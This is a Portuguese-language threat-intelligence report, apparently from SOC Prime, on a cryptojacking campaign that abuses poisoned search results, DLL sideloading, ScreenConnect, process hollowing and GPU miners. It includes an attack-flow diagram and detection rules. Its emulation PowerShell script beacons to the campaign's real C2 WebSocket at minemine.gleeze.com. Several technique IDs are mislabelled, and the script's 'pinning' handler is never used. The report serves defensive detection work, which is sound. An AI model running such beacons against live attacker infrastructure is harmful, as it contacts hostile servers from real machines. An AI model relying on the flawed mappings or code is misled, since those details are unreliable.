SOC Prime Bias: Médio

27 May 2026 15:46 UTC

De Resultados de Busca Envenenados à Mineração GPU: Uma Campanha de Cryptojacking Usando ScreenConnect e Utilitários .NET

Author Photo
SOC Prime Team linkedin icon Seguir
De Resultados de Busca Envenenados à Mineração GPU: Uma Campanha de Cryptojacking Usando ScreenConnect e Utilitários .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Esta campanha usa envenenamento de SEO e resultados de busca manipulados de chatbots de IA para atrair usuários a baixarem ferramentas falsas de monitoração de hardware. Os instaladores troianizados carregam um DLL malicioso que é carregado lateralmente em uma aplicação legítima e discretamente implanta o ScreenConnect. Os atacantes então usam o ScreenConnect para lançar um carregador RunPE personalizado que esvazia binários .NET assinados pela Microsoft e injeta a carga útil da próxima etapa. A etapa final baixa ferramentas de mineração de GPU como gminer, lolMiner, e SRBMiner-MULTI, então mantém persistência através de tarefas agendadas, chaves Run do registro, e um atalho de inicialização. O malware também adiciona exclusões no Windows Defender para reduzir a chance de detecção.

Investigação

Pesquisadores da Microsoft Defender mapearam toda a cadeia de infecção, incluindo o método de sideloading de DLL, abuso do ScreenConnect como uma ferramenta de gerenciamento remoto e uso de um carregador RunPE personalizado chamado SimpleRunPE.exe. Analistas recuperaram os argumentos de linha de comando do ScreenConnect, identificaram a lista de binários .NET assinados usados para o esvaziamento de processo, e documentaram um ponto de comando e controle protegido por um certificado TLS fixado. A investigação também descobriu infraestruturas de suporte como domínios maliciosos, endereços IP, e detalhes do provedor de DNS vinculados à campanha.

Mitigação

Os defensores devem habilitar a proteção baseada em nuvem, aplicar regras de redução de superfície de ataque, bloquear arquivos executáveis que não atendem a requisitos de reputação, prevalência, ou idade, e ativar a proteção da web e rede no Microsoft Defender for Endpoint. Ferramentas de gerenciamento remoto como ScreenConnect devem ser desativadas onde desnecessárias ou rigorosamente controladas onde requeridas, com monitoramento para tarefas agendadas não autorizadas e entradas de registro Run suspeitas. Quaisquer exclusões do Windows Defender adicionadas pelo malware devem ser removidas imediatamente, e os domínios maliciosos e endereços IP identificados devem ser bloqueados.

Resposta

If RuntimeHost.exe or SimpleRunPE.exe é encontrado sendo executado a partir de diretórios de cache ocultos, isole o host afetado imediatamente, termine a sessão relacionada ao ScreenConnect, e remova todos os mecanismos de persistência, incluindo tarefas agendadas, chaves Run, e atalhos de inicialização. Bloqueie o domínio minemine.gleeze.com e os endereços IP observados, então busque em todo o ambiente pelos binários de minerador listados e autorun.dll. Finalmente, restaure as proteções do Defender e revise as configurações de exclusão para quaisquer mudanças não autorizadas.

graph TB %% Definições de classes classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% Nós action_initial_access[“<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>SEO poisoning e links de chatbots de IA entregam ficheiros ZIP maliciosos disfarçados como utilitários.”] class action_initial_access action technique_event_trigger[“<b>Técnica</b> – <b>T1546.009 DLL AppCert</b><br/>autorun.dll colocada ao lado de um utilitário legítimo é carregada quando o utilitário é executado.”] class technique_event_trigger technique process_msiexec[“<b>Processo</b> – msiexec.exe”] class process_msiexec process technique_dll_injection[“<b>Técnica</b> – <b>T1055.001 Injeção de Biblioteca de Ligação Dinâmica</b><br/>autorun.dll invoca msiexec para instalar silenciosamente vcredist_x64.dll malicioso contendo o instalador ScreenConnect.”] class technique_dll_injection technique technique_proxy_execution[“<b>Técnica</b> – <b>T1218.007 Execução Proxy via Msiexec</b><br/>msiexec executa o instalador malicioso e estabelece um cliente ScreenConnect.”] class technique_proxy_execution technique malware_screenconnect[“<b>Malware</b> – Cliente ScreenConnect”] class malware_screenconnect malware persistence_scheduled[“<b>Persistência</b> – <b>T1543 Tarefas Agendadas</b><br/>Tarefas chamadas “Windows System Health”, etc., relançam o malware.”] class persistence_scheduled persistence persistence_registry[“<b>Persistência</b> – <b>T1037.001 Script de Logon</b><br/>São adicionadas chaves Registry Run (HKLM/HKCU\\Run\\WinSysCache).”] class persistence_registry persistence persistence_startup[“<b>Persistência</b> – <b>T1037.004 Script RC</b><br/>Atalho na pasta Startup aponta para RuntimeHost.exe.”] class persistence_startup persistence defense_exclusions[“<b>Evasão de Defesa</b> – <b>T1564.012 Exclusões de Ficheiro/Caminho</b> & <b>T1564.010 Falsificação de Argumentos de Processo</b><br/>Adiciona exclusões do Windows Defender para ficheiros e processos.”] class defense_exclusions defense defense_impair[“<b>Evasão de Defesa</b> – <b>T1562 Comprometer Defesas</b><br/>Usa exclusões para contornar deteção AV.”] class defense_impair defense defense_sandbox[“<b>Evasão de Defesa</b> – <b>T1497 Evasão de Virtualização/Sandbox</b><br/>Verificações de atividade do utilizador (T1497.002) e evasão baseada em tempo (T1497.003) interrompem a execução em ambientes de análise.”] class defense_sandbox defense defense_codesign[“<b>Evasão de Defesa</b> – <b>T1553.002 Subverter Controlos de Confiança</b><br/>Código malicioso executa dentro de binários .NET assinados pela Microsoft através de process hollowing.”] class defense_codesign defense privilege_hollowing[“<b>Escalada de Privilégios</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE inicia um binário .NET legítimo em estado suspenso e injeta o payload.”] class privilege_hollowing privilege c2_websocket[“<b>Comando e Controlo</b> – <b>T1102.002 Websocket</b><br/>wss://minemine.gleeze.com:8443/ws cifrado com TLS pinning.”] class c2_websocket c2 discovery_info[“<b>Descoberta</b> – <b>T1082 Informação do Sistema</b>, <b>T1592.001 Hardware</b>, <b>T1592.002 Software</b><br/>Recolhe CPU, GPU, RAM, versão do SO, produto de segurança, etc., para avaliar viabilidade de mineração.”] class discovery_info discovery %% Fluxo action_initial_access –>|leva a| technique_event_trigger technique_event_trigger –>|carrega| process_msiexec process_msiexec –>|executa| technique_dll_injection technique_dll_injection –>|instala| technique_proxy_execution technique_proxy_execution –>|instala| malware_screenconnect malware_screenconnect –>|cria| persistence_scheduled malware_screenconnect –>|cria| persistence_registry malware_screenconnect –>|cria| persistence_startup malware_screenconnect –>|adiciona| defense_exclusions defense_exclusions –>|permite| defense_impair defense_impair –>|facilita| defense_sandbox defense_sandbox –>|suportado por| defense_codesign defense_codesign –>|permite| privilege_hollowing privilege_hollowing –>|estabelece| c2_websocket c2_websocket –>|recebe| discovery_info

Fluxo de Ataque

Detecções

Possíveis Pontos de Persistência [ASEPs – Software/Favo NTUSER] (via evento_de_registro)

Equipe SOC Prime
27 de maio de 2026

Schtasks Aponta para Diretório / Binário / Script Suspeito (via linha_comando)

Equipe SOC Prime
27 de maio de 2026

Software Alternativo de Acesso / Gerenciamento Remoto (via criação_processo)

Equipe SOC Prime
27 de maio de 2026

Uso Suspeito de CURL (via linha_comando)

Equipe SOC Prime
27 de maio de 2026

Chamar Métodos .NET Suspeitos do Powershell (via powershell)

Equipe SOC Prime
27 de maio de 2026

Alterações Suspeitas nas Preferências do Windows Defender (via powershell)

Equipe SOC Prime
27 de maio de 2026

Verificações de Evasão Possíveis (via powershell)

Equipe SOC Prime
27 de maio de 2026

Binários / Scripts Suspeitos na Localização de Inicialização Automatizada (via evento_arquivo)

Equipe SOC Prime
27 de maio de 2026

IOCs (HashSha256) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft

Regras de IA da SOC Prime
27 de maio de 2026

IOCs (SourceIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft

Regras de IA da SOC Prime
27 de maio de 2026

IOCs (DestinationIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft

Regras de IA da SOC Prime
27 de maio de 2026

Comunicação C2 da Binary Esvaziada [Conexão de Rede do Windows]

Regras de IA da SOC Prime
27 de maio de 2026

Acesso Remoto Persistente e Esvaziamento de Processo via ScreenConnect e SimpleRunPE [Criação de Processo do Windows]

Regras de IA da SOC Prime
27 de maio de 2026

Execução de Simulação

Pré-requisito: O Teste de Pré-voo de Telemetria e Base deve ter passado.

Racional: Esta seção detalha a execução precisa da técnica (TTP) do adversário projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    Um atacante já entregou um binário legítimo esvaziado na máquina da vítima. O binário agora inicia um canal C2 persistente sobre um WebSocket conexão para wss://minemine.gleeze.com:8443/ws. Para emular isso, usamos um script PowerShell que cria um .NET ClientWebSocket, opcionalmente define um retorno de chamada de validação de certificado TLS personalizado (simulando fixação de certificado), e mantém a conexão por um breve período.

  • Script de Teste de Regressão:

    # Simular comunicação C2 de um binário esvaziado
    # Requisitos: PowerShell 5+ (classes .NET integradas)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # Criar cliente WebSocket
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # OPCIONAL: Impor fixação de certificado (aceitar apenas uma impressão digital específica)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # placeholder
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "Conectando ao endpoint C2 $c2Url ..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "Conexão estabelecida. Enviando carga útil de sinalização..."
    
        # Enviar uma sinalização fictícia (JSON)
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # Manter o canal aberto por uma janela curta
    }
    finally {
        Write-Host "Fechando WebSocket..."
        $ws.Abort()
    }
  • Comandos de Limpeza:

    # Garantir que quaisquer processos WebSocket remanescentes sejam encerrados
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # Opcionalmente, remover arquivos temporários usados no teste
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue